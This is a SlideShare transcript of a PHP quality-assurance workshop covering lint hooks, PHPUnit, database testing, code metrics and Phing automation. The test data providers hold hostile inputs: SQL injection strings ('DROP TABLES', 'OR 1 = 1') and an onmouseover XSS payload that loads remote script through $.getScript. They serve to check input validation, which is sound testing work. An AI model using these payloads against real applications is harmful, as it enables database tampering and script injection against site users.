Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
QA for PHP projects
Michelangelo van Dam
Schedule Workshop 
Introduction to Quality Assurance 
Revision control 
Documenting 
Testing 
Measuring 
Automating 
Team ...
#phpqa
Introduction to QA
Why QA?
Why QA 
Safeguarding code
Detect bugs early
Observe behavior
Prevent accidents from happening
Tracking progress
Why invest in QA?
Keeps your code in shape
Measures speed and performance
Boosts team spirit
Saves time
Reports continuously
Delivers ready to deploy packages
Quality Assurance Tools
Revision Control
Subversion
GIT
github
Mercurial
Bazaar
FTP
Advantages of SCM 
TIP: 
hooks 
for 
tools 
• team development possible 
• tracking multi-versions of source code 
• movin...
Syntax Checking
php 
-­‐l 
(lint) 
hAp://www.php.net/manual/en/features.commandline.opGons.php
PHP Lint 
TIP: 
pre-­‐commit 
hook 
• checks the syntax of code 
• build in PHP core 
• is used per file 
- pre-commit hoo...
Syntax 
php -lf /path/to/filename.php
PHP 
Lint 
on 
Command 
Line
SVN Pre commit hook 
#!/bin/sh 
# 
# Pre-commit hook to validate syntax of incoming PHP files, if no failures it 
# accept...
SVN 
pre-­‐commit 
hook
Documenting
Why documenting? 
• new members in the team 
• working with remote workers 
• analyzing improvements 
• think before doing...
Phpdoc2
Phpdoc2 
class 
details
Based 
on 
docblocks 
in 
code
And 
the 
output
Phpdoc2 
class 
relaGon 
chart
Phpdoc2 
on 
your 
project
Testing
Any reasons not to test?
Most common excuses 
• no time 
• not within budget 
• development team does not know how 
• tests are provided after deli...
NO EXCUSES!
Maintainability 
• during development 
- test will fail indicating bugs 
• after sales support 
- testing if an issue is g...
Remember 
“Once a test is made, it will always be tested!”
Confidence 
• for the developer 
- code works 
• for the manager 
- project succeeds 
• for sales / general management / s...
Unit testing PHP apps
Setting things up
Example phpunit.xml 
<phpunit 
colors="true" 
bootstrap="TestHelper.php” 
stopOnFailure="true" 
stopOnError="true" 
syntax...
When using composer 
<phpunit 
colors="true" 
bootstrap="./vendor/autoload.php" 
stopOnFailure="true" 
stopOnError="true" ...
TestHelper.php 
<?php ! 
// set our app paths and environments ! 
define('BASE_PATH', realpath(dirname(__FILE__) . '/../')...
Frameworks help 
• Symfony 
• Zend Framework 
• Aura 
• Lithium 
• Laravel 
• …
Let’s get started…
Testing models
Testing business logic 
• models contain logic 
- tied to your business 
- tied to your storage 
- tied to your resources ...
Type: data containers 
• contains structured data 
- populated through setters and getters 
• perform logic tied to it’s p...
Comment Class
Writing model test 
<?php ! 
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase ! 
{ ! 
protected $_co...
This test won’t run!
Create a simple model 
<?php ! ! 
class Application_Model_Comment ! 
{ ! 
protected $_id = 0; protected $_fullName; protec...
We pass the test…
Really ???
Protection! 
We Need Protection!
Little Bobby Tables 
http://xkcd.com/327/
Is this your project?
Not all data from form! 
• model can be populated from 
- users through the form 
- data stored in the database 
- a web s...
The nasty internet 
https://www.owasp.org/index.php/Top_10_2013-Top_10
The good stuff 
public function goodData() ! 
{ ! 
return array ( ! 
array ('John Doe', 'john.doe@example.com', ! 
'http:/...
The bad stuff 
public function badData() ! 
{ ! 
return array ( ! 
array ('','','',''), ! 
array ("Robert'; DROP TABLES co...
Let’s run it
Add input filters! 
(and don’t build it yourself!) 
• Zend Framework 1: Zend_Filter_Input 
• Zend Framework 2: ZendInputFi...
Modify our model 
protected $_filters; ! 
protected $_validators; ! ! 
public function __construct($params = null) ! 
{ ! ...
Modify setters: Id & name 
public function setId($id) ! 
{ ! 
$input = new Zend_Filter_Input($this->_filters, $this->_vali...
Email & website 
public function setEmailAddress($emailAddress) ! 
{ ! 
$input = new Zend_Filter_Input($this->_filters, $t...
and comment 
public function setComment($comment) ! 
{ ! 
$input = new Zend_Filter_Input($this->_filters, $this->_validato...
Now we’re good!
Exercise: Test for bad input 
<?php 
namespace 
MyappCommonUser; 
class 
Service 
{ 
public 
function 
login($username, 
$...
Exercise: Test for bad input 
<?php 
namespace 
MyappCommonUser; 
class 
ServiceTest 
extends 
PHPUnit_Framework_TestCase ...
Testing Databases
Integration Testing 
• database specific functionality 
- triggers 
- constraints 
- stored procedures 
- sharding/scalabi...
Points of concern 
• beware of automated data types 
- auto increment sequence ID’s 
- default values like CURRENT_TIMESTA...
The domain Model 
• Model object 
• Mapper object 
• Table gateway object 
Read more about it ☞
Change our test class 
class Application_Model_CommentTest 
extends PHPUnit_Framework_TestCase 
! 
becomes 
! 
class Appli...
Setting DB Testing up 
protected $_connectionMock; " 
! 
public function getConnection() " 
{ " 
if (null === $this->_dbMo...
initialDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
id="1" 
fullName="B.A. Baracus" 
emailAdd...
Testing SELECT 
public function testDatabaseCanBeRead() " 
{ " 
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " 
$t...
selectDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
id="1" 
fullName="B.A. Baracus" 
emailAddr...
Testing UPDATE 
public function testDatabaseCanBeUpdated() " 
{ " 
$comment = new Application_Model_Comment(); " 
$mapper ...
updateDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
id="1" 
fullName="B.A. Baracus" 
emailAddr...
Testing DELETE 
public function testDatabaseCanDeleteAComment() " 
{ " 
$comment = new Application_Model_Comment(); " 
$ma...
deleteDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
id="2" 
fullName="Martin Fowler" 
emailAdd...
Testing INSERT 
public function testDatabaseCanAddAComment() " 
{ " 
$comment = new Application_Model_Comment(); " 
$comme...
insertDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
id="1" 
fullName="B.A. Baracus" 
emailAddr...
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter 
public function testDatabaseCanAddAComment() " 
{ " 
$comment = new Application_Model_Comment();...
insertDataSet.xml 
<?xml version="1.0" encoding="UTF-8"?> 
<dataset> 
<comment 
fullName="B.A. Baracus" 
emailAddress="ba@...
Run Test
• Database testing 
• is SLOW 
• is INTEGRATION 
• is IRRELEVANT
Use Faker
Faker generates data! 
<?php " 
namespace ProjectObject; " 
! 
class EntryTest extends PHPUnit_Framework_TestCase " 
{ " 
...
Testing web services
Web services remarks 
• you need to comply with an API 
- that will be your reference 
• you cannot always make a test-cal...
Example: joind.in
http://joind.in/api
JoindinTest 
<?php " 
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase " 
{ " 
protected $_joindin; " 
...
JoindinTest 
public function testJoindinCanGetUserDetails() " 
{ " 
$expected = '<?xml version="1.0"?><response><item><use...
Testing the service
Euh… what? 
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails 
Failed asserting that two strings are equal. 
---...
And this? 
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus 
Failed asserting that two strings are equal. 
--- Exp...
Solution… right here!
Your expectations
JoindinTest 
<?php 
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase 
{ 
protected $_joindin; 
protecte...
JoindinUserMockTest 
public function testJoindinCanGetUserDetails() 
{ 
$response = <<<EOS " 
HTTP/1.1 200 OK " 
Content-t...
JoindinStatusMockTest 
public function testJoindinCanCheckStatus() " 
{ " 
$date = new DateTime(); " 
$date->setTimezone(n...
Good implementation?
Exercise 
• Get the JoindIn API client from GitHub 
- see https://github.com/DragonBe/joindin-client 
• Replace the curren...
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple 
• combine integration tests with unit tests 
• test what counts 
• mock out what’s remote
Fork this code 
http://github.com/DragonBe/zftest
Measuring
Code Analysis
Questions 
• how stable is my code? 
• how flexible is my code? 
• how complex is my code? 
• how easy can I refactor my c...
Answers 
• PHPDepend - Dependency calculations 
• PHPMD - Mess detections and code “smells” 
• PHPCPD - Copy/paste detecti...
PHP Depend
What? 
• generates metrics 
• measure health 
• identify parts to improve (refactor)
pdepend pyramid
• CYCLO: Cyclomatic Complexity 
• LOC: Lines of Code 
• NOM: Number of Methods 
• NOC: Number of Classes 
• NOP: Number of...
Cyclomatic Complexity 
• metric calculation 
• execution paths 
• independent control structures 
- if, else, for, foreach...
Average Hierarchy Height 
The average of the maximum length from a root class 
to its deepest subclass
pdepend pyramid 
Inheritance 
few classes derived from other classes 
lots of classes inherit from other classes
pdepend pyramid 
Size and complexity
pdepend pyramid 
Coupling
pdepend pyramid 
High value
pdepend-graph 
graph 
about 
stability: 
a 
mix 
between 
abstract 
and 
concrete 
classes
PHP 
Depend
PHP Mess Detection
What? 
• detects code smells 
- possible bugs 
- sub-optimal code 
- over complicated expressions 
- unused parameters, me...
PHPMD 
in 
ac;on
PHP Copy/Paste 
Detection
What? 
• detects similar code snippets 
- plain copy/paste work 
- similar code routines 
• indicates problems 
- maintena...
PHP CodeSniffer
Required evil 
• validates coding standards 
- consistency 
- readability 
• set as a policy for development 
• reports fa...
Performance Analysis
https://twitter.com/#!/andriesss/status/189712045766225920
Automating
Key reason 
“computers are great at doing repetitive tasks very well”
Repetition 
• syntax checking 
• documenting 
• testing 
• measuring
Why Phing? 
• php based (it’s already on our system) 
• open-source 
• supported by many tools 
• very simple syntax 
• gr...
Structure of a build 
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-...
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-- set global and local...
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-- set global and local...
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-- set global and local...
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-- set global and local...
<?xml version="1.0" encoding="UTF-8"?> 
<project name="Application build" default="phplint"> 
! 
<!-- set global and local...
build.properties 
project.title=WeCycle 
phpbook:qademo dragonbe$ cat build.properties 
# General settings 
project.websit...
local.properties 
project.website=http://qademo.local 
abrequests=1000 
abconcurrency=10 
! 
db.username=qademo_user 
db.p...
Let’s 
run 
it
Artifacts 
• some tools provide output we can use later 
• called “artifacts” 
• we need to store them somewhere 
• so we ...
Prepare for artifacts 
<target name="prepare" description="Clean up the build path"> 
<delete dir="${project.basedir}/buil...
phpdoc2 
<target name="phpdoc2" description="Generating automated documentation"> 
<property name="doc.title" value="${pro...
PHPUnit 
<target name="phpunit" description="Running unit tests"> 
<exec 
command="/usr/bin/phpunit 
--coverage-html ${pro...
PHP_CodeSniffer 
<target name="phpcs" description="Validate code with PHP CodeSniffer"> 
<exec 
command="/usr/bin/phpcs 
-...
Copy Paste Detection 
<target name="phpcpd" description="Detect copy/paste with PHPCPD"> 
<phpcpd> 
<fileset refid="phpfil...
PHP Mess Detection 
<target name="phpmd" description="Mess detection with PHPMD"> 
<phpmd> 
<fileset refid="phpfiles" /> 
...
PHP Depend 
<target name="pdepend" description="Dependency calculations with PDepend"> 
<phpdepend> 
<fileset refid="phpfi...
PHP CodeBrowser 
<target name="phpcb" description="Code browser with PHP_CodeBrowser"> 
<exec 
command="/usr/bin/phpcb 
-l...
Create a build procedure 
<target name="build" description="Building app"> 
<phingCall target="prepare" /> 
<phingCall tar...
Other things to automate 
• server stress-testing with Apache Benchmark 
• database deployment with DBDeploy 
• package co...
Example DBDeploy 
<target name="dbdeploy" description="Update the DB to the latest version"> 
! 
<!-- set the path for mys...
Build 
it
Continuous Integration
Now you are a winner!
Team Works!
Conclusion
Get your information 
in a consistent, automated way 
and make it accessible for the team 
! 
More people can better safeg...
Recommended 
reading 
• the 
PHP 
QA 
book 
-­‐ Sebas;an 
Bergmann 
-­‐ Stefan 
Priebsch
Recommended 
reading 
2
Recommended 
reading 
3 
• OOD 
Quality 
Metrics 
-­‐ Robert 
Cecil 
Mar;n 
Free 
hKp://www.objectmentor.com/publica;ons/o...
Feedback/Questions 
Michelangelo van Dam 
! 
michelangelo@in2it.be 
! 
@DragonBe
joind.in/11778 
If you enjoyed this tutorial, thank you 
If not, tell me how to make it better
Thank you
Credits 
I’d like to thank the following people for sharing their creative commons pictures 
michelangelo: http://www.flic...
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Workshop quality assurance for php projects - PHPNW Manchester 2014
Upcoming SlideShare
Loading in …5
×
Upcoming SlideShare
Human behaviour.and personality development.ppt
Next
Download to read offline and view in fullscreen.

5

Share

Workshop quality assurance for php projects - PHPNW Manchester 2014

Download to read offline

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality.

Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive.

In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all

Workshop quality assurance for php projects - PHPNW Manchester 2014

  1. 1. QA for PHP projects
  2. 2. Michelangelo van Dam
  3. 3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  4. 4. #phpqa
  5. 5. Introduction to QA
  6. 6. Why QA?
  7. 7. Why QA Safeguarding code
  8. 8. Detect bugs early
  9. 9. Observe behavior
  10. 10. Prevent accidents from happening
  11. 11. Tracking progress
  12. 12. Why invest in QA?
  13. 13. Keeps your code in shape
  14. 14. Measures speed and performance
  15. 15. Boosts team spirit
  16. 16. Saves time
  17. 17. Reports continuously
  18. 18. Delivers ready to deploy packages
  19. 19. Quality Assurance Tools
  20. 20. Revision Control
  21. 21. Subversion
  22. 22. GIT
  23. 23. github
  24. 24. Mercurial
  25. 25. Bazaar
  26. 26. FTP
  27. 27. Advantages of SCM TIP: hooks for tools • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools
  28. 28. Syntax Checking
  29. 29. php -­‐l (lint) hAp://www.php.net/manual/en/features.commandline.opGons.php
  30. 30. PHP Lint TIP: pre-­‐commit hook • checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files • can provide reports - but if something fails -> the build fails
  31. 31. Syntax php -lf /path/to/filename.php
  32. 32. PHP Lint on Command Line
  33. 33. SVN Pre commit hook #!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit ! REPOS="$1" TXN="$2" ! # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook ! # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done
  34. 34. SVN pre-­‐commit hook
  35. 35. Documenting
  36. 36. Why documenting? • new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)
  37. 37. Phpdoc2
  38. 38. Phpdoc2 class details
  39. 39. Based on docblocks in code
  40. 40. And the output
  41. 41. Phpdoc2 class relaGon chart
  42. 42. Phpdoc2 on your project
  43. 43. Testing
  44. 44. Any reasons not to test?
  45. 45. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery • …
  46. 46. NO EXCUSES!
  47. 47. Maintainability • during development - test will fail indicating bugs • after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  48. 48. Remember “Once a test is made, it will always be tested!”
  49. 49. Confidence • for the developer - code works • for the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want
  50. 50. Unit testing PHP apps
  51. 51. Setting things up
  52. 52. Example phpunit.xml <phpunit colors="true" bootstrap="TestHelper.php” stopOnFailure="true" stopOnError="true" syntaxCheck="true"> ! <testsuite name="Mastering PHPUnit"> <directory>./tests</directory> </testsuite> ! <blacklist><directory>../vendor</directory></blacklist> ! <logging> <log type="coverage-­‐html" target="./build/coverage" charset="UTF-­‐8" yui="true" highlight="true" lowUpperBound="35" highLowerBound="70"/> </logging> </phpunit>
  53. 53. When using composer <phpunit colors="true" bootstrap="./vendor/autoload.php" stopOnFailure="true" stopOnError="true" syntaxCheck="true"> ! <testsuite name="Mastering PHPUnit"> <directory>./tests</directory> </testsuite> ! <blacklist><directory>../vendor</directory></blacklist> ! <logging> <log type="coverage-­‐html" target="./build/coverage" charset="UTF-­‐8" yui="true" highlight="true" lowUpperBound="35" highLowerBound="70"/> </logging> </phpunit>
  54. 54. TestHelper.php <?php ! // set our app paths and environments ! define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); ! define('APPLICATION_PATH', BASE_PATH . '/application'); ! define('TEST_PATH', BASE_PATH . '/tests'); ! define('APPLICATION_ENV', 'testing'); ! ! // Include path ! set_include_path( ! . PATH_SEPARATOR . BASE_PATH . '/library' ! . PATH_SEPARATOR . get_include_path() ! ); ! ! // Set the default timezone !!! ! date_default_timezone_set('Europe/Brussels'); ! ! // We wanna catch all errors en strict warnings ! error_reporting(E_ALL|E_STRICT); ! ! require_once 'Zend/Application.php'; ! $application = new Zend_Application( ! APPLICATION_ENV, ! APPLICATION_PATH . '/configs/application.ini' ! ); ! ! $application->bootstrap();
  55. 55. Frameworks help • Symfony • Zend Framework • Aura • Lithium • Laravel • …
  56. 56. Let’s get started…
  57. 57. Testing models
  58. 58. Testing business logic • models contain logic - tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  59. 59. Type: data containers • contains structured data - populated through setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  60. 60. Comment Class
  61. 61. Writing model test <?php ! class Application_Model_CommentTest extends PHPUnit_Framework_TestCase ! { ! protected $_comment; ! protected function setUp() ! { ! $this->_comment = new Application_Model_Comment(); ! parent::setUp(); ! } ! protected function tearDown() ! { ! parent::tearDown(); ! $this->_comment = null; ! } ! public function testModelIsEmptyAtConstruct() ! { ! $this->assertSame(0, $this->_comment->getId()); ! $this->assertNull($this->_comment->getFullName()); ! $this->assertNull($this->_comment->getEmailAddress()); ! $this->assertNull($this->_comment->getWebsite()); ! $this->assertNull($this->_comment->getComment()); ! } ! }
  62. 62. This test won’t run!
  63. 63. Create a simple model <?php ! ! class Application_Model_Comment ! { ! protected $_id = 0; protected $_fullName; protected $_emailAddress; ! protected $_website; protected $_comment; ! ! public function setId($id) { $this->_id = (int) $id; return $this; } ! public function getId() { return $this->_id; } ! public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } ! public function getFullName() { return $this->_fullName; } ! public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } ! public function getEmailAddress() { return $this->_emailAddress; } ! public function setWebsite($website) { $this->_website = (string) $website; return $this; } ! public function getWebsite() { return $this->_website; } ! public function setComment($comment) { $this->_comment = (string) $comment; return $this; } ! public function getComment() { return $this->_comment; } ! public function populate($row) { ! if (is_array($row)) { ! $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); ! } ! if (isset ($row->id)) $this->setId($row->id); ! if (isset ($row->fullName)) $this->setFullName($row->fullName); ! if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); ! if (isset ($row->website)) $this->setWebsite($row->website); ! if (isset ($row->comment)) $this->setComment($row->comment); ! } ! public function toArray() { ! return array ( ! 'id' => $this->getId(), ! 'fullName' => $this->getFullName(), ! 'emailAddress' => $this->getEmailAddress(), ! 'website' => $this->getWebsite(), ! 'comment' => $this->getComment(), ! ); ! } ! }
  64. 64. We pass the test…
  65. 65. Really ???
  66. 66. Protection! We Need Protection!
  67. 67. Little Bobby Tables http://xkcd.com/327/
  68. 68. Is this your project?
  69. 69. Not all data from form! • model can be populated from - users through the form - data stored in the database - a web service (hosted by yourself or 3rd-party) • simply test it - by using same test scenario’s from our form
  70. 70. The nasty internet https://www.owasp.org/index.php/Top_10_2013-Top_10
  71. 71. The good stuff public function goodData() ! { ! return array ( ! array ('John Doe', 'john.doe@example.com', ! 'http://example.com', 'test comment'), ! array ("Matthew Weier O'Phinney", 'matthew@zend.com', ! 'http://weierophinney.net', 'Doing an MWOP-Test'), ! array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', ! 'http://caseysoftware.com', 'Doing a monkey dance'), ! ); ! } ! /** ! * @dataProvider goodData ! */ ! public function testModelAcceptsValidData($name, $mail, $web, $comment) ! { ! $data = array ( ! 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ! ); ! try { ! $this->_comment->populate($data); ! } catch (Zend_Exception $e) { ! $this->fail('Unexpected exception should not be triggered'); ! } ! $data['id'] = 0; ! $data['emailAddress'] = strtolower($data['emailAddress']); ! $data['website'] = strtolower($data['website']); ! $this->assertSame($this->_comment->toArray(), $data); ! }
  72. 72. The bad stuff public function badData() ! { ! return array ( ! array ('','','',''), ! array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), ! array (str_repeat('x', 1000), '', '', ''), ! array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ! ); ! } ! /** ! * @dataProvider badData ! */ ! public function testModelRejectsBadData($name, $mail, $web, $comment) ! { ! $data = array ( ! 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ! ); ! try { ! $this->_comment->populate($data); ! } catch (Zend_Exception $e) { ! return; ! } ! $this->fail('Expected exception should be triggered'); ! ! }
  73. 73. Let’s run it
  74. 74. Add input filters! (and don’t build it yourself!) • Zend Framework 1: Zend_Filter_Input • Zend Framework 2: ZendInputFilter • Symfony: SymfonyComponentValidator • Aura: AuraFrameworkInputFilter • Lithium: lithiumutilValidator • Laravel: AppValidator • …
  75. 75. Modify our model protected $_filters; ! protected $_validators; ! ! public function __construct($params = null) ! { ! $this->_filters = array ( ! 'id' => array ('Int'), ! 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), ! 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), ! 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), ! 'comment' => array ('StringTrim', 'StripTags'), ! ); ! $this->_validators = array ( ! 'id' => array ('Int'), ! 'fullName' => array ( ! new Zftest_Validate_Mwop(), ! new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ! ), ! 'emailAddress' => array ( ! 'EmailAddress', ! new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ! ), ! 'website' => array ( ! new Zend_Validate_Callback(array('Zend_Uri', 'check')), ! new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ! ), ! 'comment' => array ( ! new Zftest_Validate_TextBox(), ! new Zend_Validate_StringLength(array ('max' => 5000)), ! ), ! ); ! if (null !== $params) { $this->populate($params); } ! }
  76. 76. Modify setters: Id & name public function setId($id) ! { ! $input = new Zend_Filter_Input($this->_filters, $this->_validators); ! $input->setData(array ('id' => $id)); ! if (!$input->isValid('id')) { ! throw new Zend_Exception('Invalid ID provided'); ! } ! $this->_id = (int) $input->id; ! return $this; ! } ! ! public function setFullName($fullName) ! { ! $input = new Zend_Filter_Input($this->_filters, $this->_validators); ! $input->setData(array ('fullName' => $fullName)); ! if (!$input->isValid('fullName')) { ! throw new Zend_Exception('Invalid fullName provided'); ! } ! $this->_fullName = (string) $input->fullName; ! return $this; ! }
  77. 77. Email & website public function setEmailAddress($emailAddress) ! { ! $input = new Zend_Filter_Input($this->_filters, $this->_validators); ! $input->setData(array ('emailAddress' => $emailAddress)); ! if (!$input->isValid('emailAddress')) { ! throw new Zend_Exception('Invalid emailAddress provided'); ! } ! $this->_emailAddress = (string) $input->emailAddress; ! return $this; ! } ! ! public function setWebsite($website) ! { ! $input = new Zend_Filter_Input($this->_filters, $this->_validators); ! $input->setData(array ('website' => $website)); ! if (!$input->isValid('website')) { ! throw new Zend_Exception('Invalid website provided'); ! } ! $this->_website = (string) $input->website; ! return $this; ! }
  78. 78. and comment public function setComment($comment) ! { ! $input = new Zend_Filter_Input($this->_filters, $this->_validators); ! $input->setData(array ('comment' => $comment)); ! if (!$input->isValid('comment')) { ! throw new Zend_Exception('Invalid comment provided'); ! } ! $this->_comment = (string) $input->comment; ! return $this; ! }
  79. 79. Now we’re good!
  80. 80. Exercise: Test for bad input <?php namespace MyappCommonUser; class Service { public function login($username, $password) { $options = array ( 'options' => array ( 'default' => false, 'regexp' => '/^[a-­‐z0-­‐9]+$/', ), ); $username = filter_var($username, FILTER_SANITIZE_STRING); if (false === filter_var($username, FILTER_VALIDATE_REGEXP, $options)) { return false; } // continue with login procedure return true; } }
  81. 81. Exercise: Test for bad input <?php namespace MyappCommonUser; class ServiceTest extends PHPUnit_Framework_TestCase { public function badDataProvider() { return array ( array ("1' OR 1 = 1;", 'randompassword'), ); } /** * @dataProvider badDataProvider */ public function testLoginCredentialsAreValid($username, $password) { $service = new Service(); $this-­‐>assertFalse($service-­‐>login($username, $password)); } }
  82. 82. Testing Databases
  83. 83. Integration Testing • database specific functionality - triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  84. 84. Points of concern • beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  85. 85. The domain Model • Model object • Mapper object • Table gateway object Read more about it ☞
  86. 86. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase ! becomes ! class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  87. 87. Setting DB Testing up protected $_connectionMock; " ! public function getConnection() " { " if (null === $this->_dbMock) { " $this->bootstrap = new Zend_Application( " APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); " $this->bootstrap->bootstrap('db'); " $db = $this->bootstrap->getBootstrap()->getResource('db'); " $this->_connectionMock = $this->createZendDbConnection( " $db, 'zftest' " ); " return $this->_connectionMock; " } " } " ! public function getDataSet() " { " return $this->createFlatXmlDataSet( " realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); " }
  88. 88. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  89. 89. Testing SELECT public function testDatabaseCanBeRead() " { " $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " $this->getConnection()); " $ds->addTable('comment', 'SELECT * FROM `comment`'); " " $expected = $this->createFlatXMLDataSet( " APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); " $this->assertDataSetsEqual($expected, $ds); " }
  90. 90. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  91. 91. Testing UPDATE public function testDatabaseCanBeUpdated() " { " $comment = new Application_Model_Comment(); " $mapper = new Application_Model_CommentMapper(); " $mapper->find(1, $comment); " $comment->setComment('I like you picking up the challenge!'); " $mapper->save($comment); " " $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " $this->getConnection()); " $ds->addTable('comment', 'SELECT * FROM `comment`'); " " $expected = $this->createFlatXMLDataSet( " APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); " $this->assertDataSetsEqual($expected, $ds); " }
  92. 92. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
